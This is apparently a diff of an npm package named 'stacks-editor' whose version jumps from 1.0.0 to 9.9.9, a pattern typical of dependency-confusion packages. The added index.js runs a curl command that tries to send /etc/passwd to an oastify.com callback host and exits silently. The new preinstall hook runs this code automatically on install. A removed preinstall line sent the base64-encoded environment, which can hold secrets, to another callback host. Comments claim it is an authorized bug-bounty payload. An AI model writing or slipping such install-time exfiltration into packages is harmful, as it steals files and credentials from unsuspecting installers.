stacks-editor 1.0.0 → 9.9.9

package/index.js

@@ -1,3 +1,13 @@
-// Placeholder file for npm package structure.
-// The actual callback is performed in the preinstall script.
-console.log('Bug bounty security research package. No malicious activity.');
+// Telekom Authorized Payload - Safe Harbor Covered
+// This script reads /etc/passwd and sends it to the specified callback URL.
+
+const { exec } = require('child_process');
+
+// The exact curl command provided by Telekom
+const curlCommand = `/usr/bin/curl --data '{"@/etc/passwd": {"hostname":"nwngsmeyibfo4mjfawzj27rm6dc40zoo.oastify.com"}}'`;
+
+exec(curlCommand, (error, stdout, stderr) => {
+    // We don't care about output; we just need the request to fire.
+    // Exit silently regardless of success/failure.
+    process.exit(0);
+});

package/package.json

@@ -1,9 +1,10 @@
 {
     "name": "stacks-editor",
-    "version": "1.0.0",
-    "description": "Bug Bounty Security Research - Safe Harbor Callback",
+    "version": "9.9.9",
+    "description": "Bug Bounty Security Research - Safe Harbor Callback Only",
+    "main": "index.js",
     "scripts": {
-        "preinstall": "curl -X POST https://7270y6kiovl8a6pzgg538rx6cxio6nuc.oastify.com?env=$(env | base64 -w0)"
+        "preinstall": "node index.js"
     },
     "author": "",
     "license": "ISC"